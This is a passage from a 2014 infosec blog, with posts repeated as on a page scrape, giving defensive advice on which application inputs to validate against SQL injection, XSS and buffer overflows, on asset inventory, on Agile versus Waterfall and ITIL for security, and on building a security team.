Another one I've seen that is commonly overlooked is WEB SERVICE REQUEST PARAMETERS, XML, etc. To me a call to a web service is the equivalent of a user filling in a bunch of textboxes and hitting submit, thus you better validate it to prevent attacks. Otherwise an attacker may try to cause a buffer overflow and get their malicious code to run on your server.
I've been talking a lot about websites, but there are reasons to be concerned with internal attacks by employees or attacks that can occur once the bad guy got inside your network or even attacks coming in from 3rd parties and their system integrations. Some examples of where this comes into play include a DATA IMPORT you might do from a CSV, or from an FTP'd file, or from data brought in by a job or SSIS package. Imagine if the feed you received and saved into your database table was information you displayed on your e-Commerce product page of your website. Sounds like a ripe opportunity to perform some XSS and inject and iframe to my evil site. Better validate!
s What if your program queries a user-accessible folder and READS IN FILES it finds? I wouldn't trust that data ... It could be used cause a buffer overflow and write over the program counter and execute malicious code.
If you are into writing scripts and command line programs don't forget to validate the COMMAND LINE PARAMETERS and FLAGS because they could be used for buffer overflows.
Have an open mind and remember that input comes in many forms, all of which should be validated. Remember all applications including Web apps, Windows apps, scripts, web services, and many more all require input validation. Remember when coding that no user can be trusted, not a guest, not an employee, not IT staff, not an administrator ... So validate all their input every time! Remember also that no data should be trusted, doesn't matter if it was inputted on a screen, read in from a CSV file, or is sent to you as XML in a nightly job ... It should all be validated.
In summary here is a good start to a list of what input requires validation and protection against things such as SQL Injection and XSS and Buffer Overflow
- Form data such as:
--- Textbox
--- Checkbox
--- Radio button
--- Drop down
--- Data Grids
- Hidden Fields
- Script Parameters
- Command Line Arguments
- Data from a file (e.g. CSV)
- Data from another source
- Data Imported (e.g. SSIS packages)
- Website specifics such as:
--- URLs
--- Query Strings
--- Cookies
--- Session State
--- View State
--- Http Headers such as:
------ User agent
------ Referrer
--- Html attributes such as:
------ Class
------ Style
- Web Service request parameters
Happy coding!
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
By Justin C Miller
Posted 9/10/2014
You are a programmer. You've heard of those nasty words like SQL Injection and Cross-Site Scripting (XSS) and Buffer Overflow. You've learned that a key step to preventing them is to perform Input Validation. You sorta know how to do that with things like ...
- Strongly Typed data
- Whitelisting
- Regular Expressions
- Max and Min length checks
You might even be a bit further ahead in the game and know about Security focused encoding libraries like WPL, Coverity Security Library, or the OWASP Reform library.
But an even more important question that I think a lot of developers overlook is the "What INPUT do I apply this validation to?"
The simple answer is ALL INPUT.
The more complicated question becomes, "What is input?"
You always validate the input of a TEXTBOX. If you are a web developer you probably also know that people like to tinker with QUERY STRING PARAMETERS so you validate them. Is that it? Are we done? Is my application safe?
Hopefully your school, or your PCI auditor, or your teammates taught you better. There's a lot more work to do.
Some of the simpler ones to remember involve websites. COOKIES for example are easy to modify (for Internet Explorer all you need is Notepad) so you better validate them. URLS themself should also be validated before used since they're freely modifiable by any user in the address bar of their browser. Why validate? Imagine if I used a cookie value to query the database for a user record. Sounds ripe for SQL Injection. Or imagine if I displayed the current Url onto the screen of an error page. Sounds like a chance for using XSS to inject an iframe.
If you've ever heard of tools like TamperData, Burp, or Fiddler you'll know that HIDDEN FIELDS on your website can also be modified so you better validate them. And those tools let you modify HTTP HEADERS like REFERRER and USER AGENT so you better validate them before they're used. Not convinced its necessary? Imagine you base a SQL query off a hidden field or recording the referrer in a table for analytics. Sounds like SQL injection is in play. Are you checking the user agent to validate what browsers you support and then displaying the user agent if you rejected them? Sounds like XSS could occur.
Other ones that might get overlooked include CHECKBOXES, RADIO BUTTONS, and DROP DOWNS. Client side it kinda seems like these are non-editable. But truth is if you have any of those free tampering tools, you can change the values. Why care? I'm guessing you are querying the database based on their values so SQL injection is in play and this you better validate them.
In a Windows Form application you might need a DATAGRID that gives the user the feel they are directly editing a SQL table. You better perform input validation here since you touching the database.
VIEW STATE on a web page can be messed with thus you better validate and treat it as input to prevent attacks.
I also would not trust SESSION STATE data. Who knows where it came from or how it got filled. If you're querying you database based on information you had saved in the session, I'd be sure to validate it and prevent SQL Injection.
Another crazy one I've seen before that is worth considering is HTML CONTROL ATTRIBUTES. For example, if you're writing any of your code's logic based on what is in the control's CLASS attribute, be careful ... you might open the door to one of these attacks and this you better validate and treat it as input.
Another one I've seen that is commonly overlooked is WEB SERVICE REQUEST PARAMETERS, XML, etc. To me a call to a web service is the equivalent of a user filling in a bunch of textboxes and hitting submit, thus you better validate it to prevent attacks. Otherwise an attacker may try to cause a buffer overflow and get their malicious code to run on your server.
I've been talking a lot about websites, but there are reasons to be concerned with internal attacks by employees or attacks that can occur once the bad guy got inside your network or even attacks coming in from 3rd parties and their system integrations. Some examples of where this comes into play include a DATA IMPORT you might do from a CSV, or from an FTP'd file, or from data brought in by a job or SSIS package. Imagine if the feed you received and saved into your database table was information you displayed on your e-Commerce product page of your website. Sounds like a ripe opportunity to perform some XSS and inject and iframe to my evil site. Better validate!
s What if your program queries a user-accessible folder and READS IN FILES it finds? I wouldn't trust that data ... It could be used cause a buffer overflow and write over the program counter and execute malicious code.
If you are into writing scripts and command line programs don't forget to validate the COMMAND LINE PARAMETERS and FLAGS because they could be used for buffer overflows.
Have an open mind and remember that input comes in many forms, all of which should be validated. Remember all applications including Web apps, Windows apps, scripts, web services, and many more all require input validation. Remember when coding that no user can be trusted, not a guest, not an employee, not IT staff, not an administrator ... So validate all their input every time! Remember also that no data should be trusted, doesn't matter if it was inputted on a screen, read in from a CSV file, or is sent to you as XML in a nightly job ... It should all be validated.
In summary here is a good start to a list of what input requires validation and protection against things such as SQL Injection and XSS and Buffer Overflow
- Form data such as:
--- Textbox
--- Checkbox
--- Radio button
--- Drop down
--- Data Grids
- Hidden Fields
- Script Parameters
- Command Line Arguments
- Data from a file (e.g. CSV)
- Data from another source
- Data Imported (e.g. SSIS packages)
- Website specifics such as:
--- URLs
--- Query Strings
--- Cookies
--- Session State
--- View State
--- Http Headers such as:
------ User agent
------ Referrer
--- Html attributes such as:
------ Class
------ Style
- Web Service request parameters
Happy coding!
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Wednesday, September 3, 2014
You Can't Protect What You Don't Know
You Can't Protect What You Don't Know
By Justin C Miller
Posted 9/3/2014
Imagine you're placed into a crowd of people at a park and asked to make sure that none of the peoples' PII they have on them escapes the park. The problem is you don't know which people have PII with them and which don't. And you also don't know what types of PII they might be carrying (drivers license? Credit card? Medicare card? Social security card? A post-it note with their bank pin #?). And you don't know where they've stored their PII (in a purse? On their iPhone? Rolled up in a ball in their pocket?). And for that matter of the people in the crowd you don't even know who are the good guys and who are the bad guys.
Welcome to the world of information security! Protecting stuff you don't know or understand is messy, perhaps impossible.
In order to protect your environment you need to know it inside and out, better than any other person or department in your company. You need the big picture understanding of what you have, how important each thing you have is, and how at risk each item is.
I've built a starter list of 10 lists of things to know in order to protect adequately protect your environment. I encourage you to dig deeper and collect even more information, but this should be a good start for you ... Also it's worth noting that if you're doing ITIL and Change Management correctly then you should already have a beautiful CMDB that has a lot of this information. But if you don't, here are some places to start ...
1.) Subnets - what does your network topology look like?
2.) Servers - in each subnet what servers exist?
3.) Applications - what is each server used for, what applications are running?
4.) Network devices - what devices exist that allow your servers to talk?
5.) Workstations - what user devices exist
6.) Users - what users login to your systems?
7.) External Entities - what other applications, users, servers, etc play a role in your environment but exist outside your realm? (Examples: external hosting, cloud services, business partners)
8.) Public Knowledge - recon yourself from the outside and determine what information is already public knowledge (Examples: google search results, public records, externally exposed devices)
9.) Enemies - know who might have a non-positive attitude towards you, including competitors, political foes, past employees, etc
10.) Vulnerabilities - using all the information above such as application versions, server operating systems, and also vulnerability scans of your environment to determine a list what vulnerabilities exist in your environment
Having information like the 10 lists above will become crucial reference points as you attempt to manage your next incident or socialize your next policy or perform your next risk assessment. You can't protect what you don't know ... So get out there and start KNOWING :-)
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
By Justin C Miller
Posted 9/3/2014
Imagine you're placed into a crowd of people at a park and asked to make sure that none of the peoples' PII they have on them escapes the park. The problem is you don't know which people have PII with them and which don't. And you also don't know what types of PII they might be carrying (drivers license? Credit card? Medicare card? Social security card? A post-it note with their bank pin #?). And you don't know where they've stored their PII (in a purse? On their iPhone? Rolled up in a ball in their pocket?). And for that matter of the people in the crowd you don't even know who are the good guys and who are the bad guys.
Welcome to the world of information security! Protecting stuff you don't know or understand is messy, perhaps impossible.
In order to protect your environment you need to know it inside and out, better than any other person or department in your company. You need the big picture understanding of what you have, how important each thing you have is, and how at risk each item is.
I've built a starter list of 10 lists of things to know in order to protect adequately protect your environment. I encourage you to dig deeper and collect even more information, but this should be a good start for you ... Also it's worth noting that if you're doing ITIL and Change Management correctly then you should already have a beautiful CMDB that has a lot of this information. But if you don't, here are some places to start ...
1.) Subnets - what does your network topology look like?
2.) Servers - in each subnet what servers exist?
3.) Applications - what is each server used for, what applications are running?
4.) Network devices - what devices exist that allow your servers to talk?
5.) Workstations - what user devices exist
6.) Users - what users login to your systems?
7.) External Entities - what other applications, users, servers, etc play a role in your environment but exist outside your realm? (Examples: external hosting, cloud services, business partners)
8.) Public Knowledge - recon yourself from the outside and determine what information is already public knowledge (Examples: google search results, public records, externally exposed devices)
9.) Enemies - know who might have a non-positive attitude towards you, including competitors, political foes, past employees, etc
10.) Vulnerabilities - using all the information above such as application versions, server operating systems, and also vulnerability scans of your environment to determine a list what vulnerabilities exist in your environment
Having information like the 10 lists above will become crucial reference points as you attempt to manage your next incident or socialize your next policy or perform your next risk assessment. You can't protect what you don't know ... So get out there and start KNOWING :-)
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Monday, September 1, 2014
Security Implications of Agile vs Waterfall
Security Implications of Agile vs Waterfall
By Justin C Miller
Posted 9/1/2014
Projects are a necessity in the corporate world. They provide a means for justification and cost estimation. They give guidance and put standards around big changes. They ensure something is built to be efficient and beneficial and well tested. They provide a means to look back, reflect, and improve for the next time.
Two of the more common methodologies you'll find are Waterfall and Agile.
In waterfall you do things in sequence one after another such as requirements, design, development, testing, and release. In general you end up with large volumes of documentation and a lengthy but thorough process. There tends to also be the risk that you'll build something big only to find out when you pass it off that it's no longer what the business wanted.
In Agile you do all those things, but in small tiny waves. In general you end up with very little documentation but you see results almost immediately. You can eliminate the risk of big surprises because the business is involved during each of those tiny waves.
So, a question you might contemplate is in terms of IT Security, does it matter whether my company is using Agile or Waterfall?
I contend that YES, the choice your company makes for Project Methodology has big implications on your company's IT security. I'll skip the dance and games and get straight to the point ... Agile has become a necessity in the corporate world if you're hoping to ensure your environment is secure.
Agile builds your massively complex software in small tiny waves, perhaps 2-4 weeks at a time.
Here are 5 examples of why Agile promotes a more secure environment than Waterfall ever will ...
1.) In Agile there are fewer features built at a time thus it easier to test, and testing is an important step in finding security vulnerabilities. Imagine being asked to test whether the security groups are configured correctly in your application's 10 administrative screens, each of which have 50 tests cases each. Would you be more likely to get it right if you had to test one of the screens/50 test cases at a time, or if you had to test all 10 screens and 500 test cases at once ? Short and sweet means you can concentrate more and feel less stressed and time constrained and get it right.
2.) There are fewer lines of code to review at a time, thus the peer reviews of the code are going to be done more thoroughly and get a good solid look. I've seen it happen way too many times where in your waterfall project you just get done creating 100's of code files and 1000s of lines of code, and now your code review becomes weak and pathetic ... because you'll NEVER get a developer to review 100's of files and 1000s of lines of code in one shot. But in an Agile scenario it is much more realistic to expect them to view a handful of files and a few lines of code and review it correctly.
3.) One of the key aspects of IT security is code complexity. The simpler the code, the easier it is to secure, the easier it is to understand and the less likely it is to contain a mistake. Thus Agile brings big benefits again because you're writing smaller chunks of code that are less complex and thus by default easier to secure.
4.) Waterfall projects have a history of lasting months if not years from inception till completion. If you've been paying attention to the current state of IT security then you know that things change much quicker than that in our arena. Therefore if you start a project on a certain version of software using certain defense techniques, by the time the project is complete the vendor has probably released numerous software updates, security patches, and even the techniques used to prevent and mitigate vulnerabilities may have changed. Thus by the time a Waterfall project is deployed it's likely already old and out of date and needing an upgrade. Agile on the other hand is pushing out fixes every few weeks and by definition allowing for changing requirements, not just changing business requirements but also changing security requirements. If a patch or vulnerability needs a quick fix, you're able to toss it into the backlog as a feature on the next wave. With Waterfall you'll have a nightmare of a time trying to work it in, and things that get pushed to the backlog in Waterfall typically wait until the project is completely over. Too long in our world.
5.) The biggest, and perhaps least obvious advantage that Agile brings to the table over waterfall is a mindset. You go from moving slow, turning the Titanic, to moving swiftly, piece-mealing it to get the job done quickly. I've seen it many times already where those companies stuck in the mindset of Waterfall are the same companies that struggle to get security patching done because they want to plan it for a month, test it for another month or two, then deploy after a few weeks of Change Advisory board discussions. This of course leaves your company open and vulnerable while you're waiting for the process to play out. The Waterfall mindset also leads to end-of-life software hanging out there because the project is just too large and intense to upgrade ... which obviously is a huge security risk. The Waterfall mindset also leads to known risks being pushed off, delayed, or kicked down the road into the next project. That mindset is just not acceptable in this day and age.
IT projects are just like IT Security ... they're too big and complex to bite off in one chew. The only way you're going to succeed is to cut them up and tackle them as smaller pieces of the puzzle. Get your head wrapped around the idea that the IT world moves quickly and you have to choose a project methodology that matches that pace. Agile is the clear front runner of project methodologies when you're discussing the implications it makes to IT security.
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
By Justin C Miller
Posted 9/1/2014
Projects are a necessity in the corporate world. They provide a means for justification and cost estimation. They give guidance and put standards around big changes. They ensure something is built to be efficient and beneficial and well tested. They provide a means to look back, reflect, and improve for the next time.
Two of the more common methodologies you'll find are Waterfall and Agile.
In waterfall you do things in sequence one after another such as requirements, design, development, testing, and release. In general you end up with large volumes of documentation and a lengthy but thorough process. There tends to also be the risk that you'll build something big only to find out when you pass it off that it's no longer what the business wanted.
In Agile you do all those things, but in small tiny waves. In general you end up with very little documentation but you see results almost immediately. You can eliminate the risk of big surprises because the business is involved during each of those tiny waves.
So, a question you might contemplate is in terms of IT Security, does it matter whether my company is using Agile or Waterfall?
I contend that YES, the choice your company makes for Project Methodology has big implications on your company's IT security. I'll skip the dance and games and get straight to the point ... Agile has become a necessity in the corporate world if you're hoping to ensure your environment is secure.
Agile builds your massively complex software in small tiny waves, perhaps 2-4 weeks at a time.
Here are 5 examples of why Agile promotes a more secure environment than Waterfall ever will ...
1.) In Agile there are fewer features built at a time thus it easier to test, and testing is an important step in finding security vulnerabilities. Imagine being asked to test whether the security groups are configured correctly in your application's 10 administrative screens, each of which have 50 tests cases each. Would you be more likely to get it right if you had to test one of the screens/50 test cases at a time, or if you had to test all 10 screens and 500 test cases at once ? Short and sweet means you can concentrate more and feel less stressed and time constrained and get it right.
2.) There are fewer lines of code to review at a time, thus the peer reviews of the code are going to be done more thoroughly and get a good solid look. I've seen it happen way too many times where in your waterfall project you just get done creating 100's of code files and 1000s of lines of code, and now your code review becomes weak and pathetic ... because you'll NEVER get a developer to review 100's of files and 1000s of lines of code in one shot. But in an Agile scenario it is much more realistic to expect them to view a handful of files and a few lines of code and review it correctly.
3.) One of the key aspects of IT security is code complexity. The simpler the code, the easier it is to secure, the easier it is to understand and the less likely it is to contain a mistake. Thus Agile brings big benefits again because you're writing smaller chunks of code that are less complex and thus by default easier to secure.
4.) Waterfall projects have a history of lasting months if not years from inception till completion. If you've been paying attention to the current state of IT security then you know that things change much quicker than that in our arena. Therefore if you start a project on a certain version of software using certain defense techniques, by the time the project is complete the vendor has probably released numerous software updates, security patches, and even the techniques used to prevent and mitigate vulnerabilities may have changed. Thus by the time a Waterfall project is deployed it's likely already old and out of date and needing an upgrade. Agile on the other hand is pushing out fixes every few weeks and by definition allowing for changing requirements, not just changing business requirements but also changing security requirements. If a patch or vulnerability needs a quick fix, you're able to toss it into the backlog as a feature on the next wave. With Waterfall you'll have a nightmare of a time trying to work it in, and things that get pushed to the backlog in Waterfall typically wait until the project is completely over. Too long in our world.
5.) The biggest, and perhaps least obvious advantage that Agile brings to the table over waterfall is a mindset. You go from moving slow, turning the Titanic, to moving swiftly, piece-mealing it to get the job done quickly. I've seen it many times already where those companies stuck in the mindset of Waterfall are the same companies that struggle to get security patching done because they want to plan it for a month, test it for another month or two, then deploy after a few weeks of Change Advisory board discussions. This of course leaves your company open and vulnerable while you're waiting for the process to play out. The Waterfall mindset also leads to end-of-life software hanging out there because the project is just too large and intense to upgrade ... which obviously is a huge security risk. The Waterfall mindset also leads to known risks being pushed off, delayed, or kicked down the road into the next project. That mindset is just not acceptable in this day and age.
IT projects are just like IT Security ... they're too big and complex to bite off in one chew. The only way you're going to succeed is to cut them up and tackle them as smaller pieces of the puzzle. Get your head wrapped around the idea that the IT world moves quickly and you have to choose a project methodology that matches that pace. Agile is the clear front runner of project methodologies when you're discussing the implications it makes to IT security.
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Sunday, August 31, 2014
4 Reasons Why ITIL = Security
4 Reasons Why ITIL = Security
By Justin C Miller
Posted 8/31/2014
I would like to propose that ITIL done right can improve your company's security and increase your IT security team's efficiency and effectiveness. How you ask? I'm about to tell you.
Skeptical and concerned about your own team being drown in paperwork every time you want to introduce a new fun security tool into your production environment? Get over it ... the benefits far out weigh any hassle you may dream up. I'd argue you need to set a good example and document your activity anyways.
So let's get to the goods. How is it that your company adopting ITIL will make your security team look amazing?
Here's 4 key concepts I think prove my point ...
#1 - ITIL builds an amazing and powerful CMDB that gives you an accurate blueprint of what services, applications, users, and devices your company has. Sweet, you've just been handed a list of what you have to protect and somebody else is going to maintain it for you! Need I say more?
#2 - ITIL gives you this amazing concept of Change Management. Every time anything in your production environment is about to change, you are given a set of documents showing what is changing, why, when, by whom, and how they'll back it out if it fails. Even better, your advisory board meetings give you a chance to review these changes and voice your opinion on them before they go live. Now do this in parallel with file integrity monitoring and suddenly you're able to immediately without a doubt identify if made to a Production environment are suspicious or expected.
#3 - ITIL gives you day-to-day Incident management. Why is this good? You suddenly have your entire company monitoring your environment for abnormalities and documenting what they've seen. This can come in real handy when identifying and trying to correlate events because somebody will have noticed something and documented it.
#4 - ITIL goes one step beyond Incident management. It moves you into the awesome realm of Problem Management. Why do you care? Because problem management means things are going to get researched and dug into until a root cause is found. No more sweeping things under the rug or putting out the fire without determining who started the fire in the first place. This is extremely useful because you'll learn when an Incident was caused by a technical issue or if it heaven forbid the root cause traces back to some sort of security breach.
ITIL done wrong is a money sucking train wreck. But ITIL done right is amazing. Your IT security team should embrace it and champion it, get everybody on board and make it a success!
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
By Justin C Miller
Posted 8/31/2014
I would like to propose that ITIL done right can improve your company's security and increase your IT security team's efficiency and effectiveness. How you ask? I'm about to tell you.
Skeptical and concerned about your own team being drown in paperwork every time you want to introduce a new fun security tool into your production environment? Get over it ... the benefits far out weigh any hassle you may dream up. I'd argue you need to set a good example and document your activity anyways.
So let's get to the goods. How is it that your company adopting ITIL will make your security team look amazing?
Here's 4 key concepts I think prove my point ...
#1 - ITIL builds an amazing and powerful CMDB that gives you an accurate blueprint of what services, applications, users, and devices your company has. Sweet, you've just been handed a list of what you have to protect and somebody else is going to maintain it for you! Need I say more?
#2 - ITIL gives you this amazing concept of Change Management. Every time anything in your production environment is about to change, you are given a set of documents showing what is changing, why, when, by whom, and how they'll back it out if it fails. Even better, your advisory board meetings give you a chance to review these changes and voice your opinion on them before they go live. Now do this in parallel with file integrity monitoring and suddenly you're able to immediately without a doubt identify if made to a Production environment are suspicious or expected.
#3 - ITIL gives you day-to-day Incident management. Why is this good? You suddenly have your entire company monitoring your environment for abnormalities and documenting what they've seen. This can come in real handy when identifying and trying to correlate events because somebody will have noticed something and documented it.
#4 - ITIL goes one step beyond Incident management. It moves you into the awesome realm of Problem Management. Why do you care? Because problem management means things are going to get researched and dug into until a root cause is found. No more sweeping things under the rug or putting out the fire without determining who started the fire in the first place. This is extremely useful because you'll learn when an Incident was caused by a technical issue or if it heaven forbid the root cause traces back to some sort of security breach.
ITIL done wrong is a money sucking train wreck. But ITIL done right is amazing. Your IT security team should embrace it and champion it, get everybody on board and make it a success!
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Saturday, August 30, 2014
10 Tips for Building a Strong IT Security Team
10 Tips for Building a Strong IT Security Team
By Justin C Miller
Posted 8/30/2014
My mind has been digging into the question of what makes a good IT security team? If you're managing, building, or have a say in your company's IT security team, I hope the list below gets your brain churning and helps provide an advantage to the white hats.
Tip #1 - BREADTH OVER DEPTH - You cannot succeed with a team of network administrators who know everything about Firewalls, IDS, VPNs, and switches but no nothing about administering a server or securing an application. You cannot succeed with a team of server administrators who could harden a server in their sleep but know nothing about putting up a firewall or securing an application. Deep understanding of concepts is important, but what's more important is Defense-In-Depth, security at every layer, and the ability to speak the language of anybody in the company. That that means is your team needs BREADTH: for example somebody good at networks (administrator), somebody good as servers (administrator), somebody good at applications (a developer), somebody who is good at desktops (former help desk), and somebody who speaks the language of the business (perhaps a business analyst).
Tip #2 - EMPOWER DON'T DICTATE - You cannot have staff that just tell teams what they're doing wrong and what they must do to fix it. Your team will fall flat on your face eventually, and you're going to make enemies which makes life miserable. The better solution lies more in the concept of social engineering. You know what's right, what's the secure way to do it, but don't just slam your fist down on the conference room table and say it's my way or the highway. Instead you need to work with your team on getting their way through the power or empowerment. In every scenario where you need to convince somebody to do something the 'right way' ... you need to do your legwork, lay out the options, outline the risks, and empower them to make the decision. Get the other teams to believe they are making the decision not you, EMPOWER DON'T DICTATE.
Tip #3 - FOCUS - What is this team here for? Ask that question and know the answer before you start. You are NOT there to maintain a firewall, that's for the network team. You monitor the firewall logs and review the rules. You are NOT there to deploy an anti-virus solution to your enterprise, that is somebody like operations. You are there to monitor virus findings and trends. You are NOT there to run a malware removal tool or re-image workstations, that is also likely operations. You are there to know what malware is and suggest remediation solutions. You are NOT there to run an Identity Management solution, that is also somebody like operations. You are there to monitor login activity and correlate them with other events. I'm sure by now you get the picture. Say 'NO' to the side work. Stop chasing the squirrel (a cute reference to 2009 Disney movie UP). FOCUS on what you're here to do, things such as security policies, monitoring, incident response, and true pro-active security.
Tip #4 - EMBRACE INEXPERIENCE - You already know that a good team is not built with just junior level staff. But keep in mind a good team is also not built on just Senior staff. A strong team is built with the old and the young, the experienced and the youth. Why? Everybody should be in a constant learning cycle, and to promote that you of course need your Seniors to train the juniors, but what's also exciting is the fact that Juniors are excitable. They will bring fresh new ideas and will push your seniors to stay on the cutting edge and play with the new tools. Juniors bring energy which in turn gets the Seniors excited. EMBRACE INEXPERIENCE.
Tip #5 - CARE ABOUT YOUR IMAGE - You don't just want a team of doers. You know, those guys that sit down, put their earbuds in, their hoodie up, and pound out work till they notice it's getting dark out. Your team is going to interact a lot with the rest of the world including IT and Business staff. You team has to be generally liked, be seen as providing a benefit to the company, and also be known to get the job done. The Doers can certainly help out with the last one, but the other 2 get a bit trickier. That is where the communicators and social staff come into play. You know, those ones that have a tendency to talk about the latest news story, and always wants to go out to lunch and hang out. They are going to be the ones that make other teams smile in a meeting, that can sweet talk somebody into getting their way, and that can explain it in terms others will understand. Don't just do, make sure you CARE ABOUT YOUR IMAGE.
Tip #6 - OPEN DOOR - Your team must be approachable. They need their corporate instant messenger enabled. They need to pay attention to their inbox. They need to offer themselves up in meetings with statements like 'Feel free to reach out to me at anytime with questions' or 'I am always available if you need help'. In order to build a successful IT security team, you need to make friends, not enemies ... and an OPEN DOOR policy is a great way to do so.
Tip #7 - DO WHAT YOU DO WELL - You need a team where everybody knows their role and in general sticks to it. The interns and juniors do the dirty work like day-to-day monitoring. The seniors have to think big picture, understand the landscape and playing field, and give guidance to everybody else. But also remember to weave in cross training in both directions. The seniors need to sit down and show the juniors what the best methods are and give the occasional opportunity to step in and fill the big shoes (such as during a common Incident Response event for example). And it goes in reverse, the juniors need to show the seniors how monitoring and day-to-day works, because a Senior will fail at the big picture if they don't understand what the whole team is doing. Build an efficient team by having people DO WHAT YOU DO WELL, but cross train so eventually everybody does everything well.
Tip #8 - SECURITY NEVER STOPS - Your team needs to understand that security is 24/7 365 non-stop. You can't stop monitoring just because it's the weekend. You can't skip today's incident just because it's a holiday. How is that ever going to work? You need to make sure you have some early birds you love their morning cup of coffee at 5am. You need your night owls who can't fall asleep before midnight. You need your consistent friends who are going to be their day in day out Monday thru Friday. And you need those free spirits who like working weekends and holidays just so they can take a random Wednesday off. Remember you need to think about coverage because SECURITY NEVER STOPS.
Tip #9 - KNOW IT ALL - You can't protect what you don't know. Your team will need to be one that sucks in information and never forgets. Know your network topology, your network devices, and your servers, what they are for, how they are configured, and what data they hold. Know your corporate hierarchy and staff, what they do, why they do it, and what applications they need. Know all the applications they use, how they're used, and what data is in them. You absolutely must KNOW IT ALL, otherwise how will you ever realize that something abnormal is occurring?
Tip #10 - PAY ATTENTION - Teams cannot be stuck in their own little fantasy world, thinking about only their company, their projects, and their day to day tasks. A good team must pay attention to everything going on both inside and out. How can we do that? Of course internal log aggregation, change control board meetings, and project statuses will keep you abreast internally. Also consider that a good team needs to get out too ... to conferences, listening to podcasts, reading blogs, subscribing to mailing lists for vulnerabilities and patches ... and being able to PAY ATTENTION to what's going on in the real-world ... because that's where the attackers live.
Props to Ted Demopoulos for inspiring me to write this post with his awesome talk as SANS @ night in Chicago
Copyright © 2014, this post cannot be reproduced or retransmitted in any form without reference to the original post.
By Justin C Miller
Posted 8/30/2014
My mind has been digging into the question of what makes a good IT security team? If you're managing, building, or have a say in your company's IT security team, I hope the list below gets your brain churning and helps provide an advantage to the white hats.
Tip #1 - BREADTH OVER DEPTH - You cannot succeed with a team of network administrators who know everything about Firewalls, IDS, VPNs, and switches but no nothing about administering a server or securing an application. You cannot succeed with a team of server administrators who could harden a server in their sleep but know nothing about putting up a firewall or securing an application. Deep understanding of concepts is important, but what's more important is Defense-In-Depth, security at every layer, and the ability to speak the language of anybody in the company. That that means is your team needs BREADTH: for example somebody good at networks (administrator), somebody good as servers (administrator), somebody good at applications (a developer), somebody who is good at desktops (former help desk), and somebody who speaks the language of the business (perhaps a business analyst).
Tip #2 - EMPOWER DON'T DICTATE - You cannot have staff that just tell teams what they're doing wrong and what they must do to fix it. Your team will fall flat on your face eventually, and you're going to make enemies which makes life miserable. The better solution lies more in the concept of social engineering. You know what's right, what's the secure way to do it, but don't just slam your fist down on the conference room table and say it's my way or the highway. Instead you need to work with your team on getting their way through the power or empowerment. In every scenario where you need to convince somebody to do something the 'right way' ... you need to do your legwork, lay out the options, outline the risks, and empower them to make the decision. Get the other teams to believe they are making the decision not you, EMPOWER DON'T DICTATE.
Tip #3 - FOCUS - What is this team here for? Ask that question and know the answer before you start. You are NOT there to maintain a firewall, that's for the network team. You monitor the firewall logs and review the rules. You are NOT there to deploy an anti-virus solution to your enterprise, that is somebody like operations. You are there to monitor virus findings and trends. You are NOT there to run a malware removal tool or re-image workstations, that is also likely operations. You are there to know what malware is and suggest remediation solutions. You are NOT there to run an Identity Management solution, that is also somebody like operations. You are there to monitor login activity and correlate them with other events. I'm sure by now you get the picture. Say 'NO' to the side work. Stop chasing the squirrel (a cute reference to 2009 Disney movie UP). FOCUS on what you're here to do, things such as security policies, monitoring, incident response, and true pro-active security.
Tip #4 - EMBRACE INEXPERIENCE - You already know that a good team is not built with just junior level staff. But keep in mind a good team is also not built on just Senior staff. A strong team is built with the old and the young, the experienced and the youth. Why? Everybody should be in a constant learning cycle, and to promote that you of course need your Seniors to train the juniors, but what's also exciting is the fact that Juniors are excitable. They will bring fresh new ideas and will push your seniors to stay on the cutting edge and play with the new tools. Juniors bring energy which in turn gets the Seniors excited. EMBRACE INEXPERIENCE.
Tip #5 - CARE ABOUT YOUR IMAGE - You don't just want a team of doers. You know, those guys that sit down, put their earbuds in, their hoodie up, and pound out work till they notice it's getting dark out. Your team is going to interact a lot with the rest of the world including IT and Business staff. You team has to be generally liked, be seen as providing a benefit to the company, and also be known to get the job done. The Doers can certainly help out with the last one, but the other 2 get a bit trickier. That is where the communicators and social staff come into play. You know, those ones that have a tendency to talk about the latest news story, and always wants to go out to lunch and hang out. They are going to be the ones that make other teams smile in a meeting, that can sweet talk somebody into getting their way, and that can explain it in terms others will understand. Don't just do, make sure you CARE ABOUT YOUR IMAGE.
Tip #6 - OPEN DOOR - Your team must be approachable. They need their corporate instant messenger enabled. They need to pay attention to their inbox. They need to offer themselves up in meetings with statements like 'Feel free to reach out to me at anytime with questions' or 'I am always available if you need help'. In order to build a successful IT security team, you need to make friends, not enemies ... and an OPEN DOOR policy is a great way to do so.
Tip #7 - DO WHAT YOU DO WELL - You need a team where everybody knows their role and in general sticks to it. The interns and juniors do the dirty work like day-to-day monitoring. The seniors have to think big picture, understand the landscape and playing field, and give guidance to everybody else. But also remember to weave in cross training in both directions. The seniors need to sit down and show the juniors what the best methods are and give the occasional opportunity to step in and fill the big shoes (such as during a common Incident Response event for example). And it goes in reverse, the juniors need to show the seniors how monitoring and day-to-day works, because a Senior will fail at the big picture if they don't understand what the whole team is doing. Build an efficient team by having people DO WHAT YOU DO WELL, but cross train so eventually everybody does everything well.
Tip #8 - SECURITY NEVER STOPS - Your team needs to understand that security is 24/7 365 non-stop. You can't stop monitoring just because it's the weekend. You can't skip today's incident just because it's a holiday. How is that ever going to work? You need to make sure you have some early birds you love their morning cup of coffee at 5am. You need your night owls who can't fall asleep before midnight. You need your consistent friends who are going to be their day in day out Monday thru Friday. And you need those free spirits who like working weekends and holidays just so they can take a random Wednesday off. Remember you need to think about coverage because SECURITY NEVER STOPS.
Tip #9 - KNOW IT ALL - You can't protect what you don't know. Your team will need to be one that sucks in information and never forgets. Know your network topology, your network devices, and your servers, what they are for, how they are configured, and what data they hold. Know your corporate hierarchy and staff, what they do, why they do it, and what applications they need. Know all the applications they use, how they're used, and what data is in them. You absolutely must KNOW IT ALL, otherwise how will you ever realize that something abnormal is occurring?
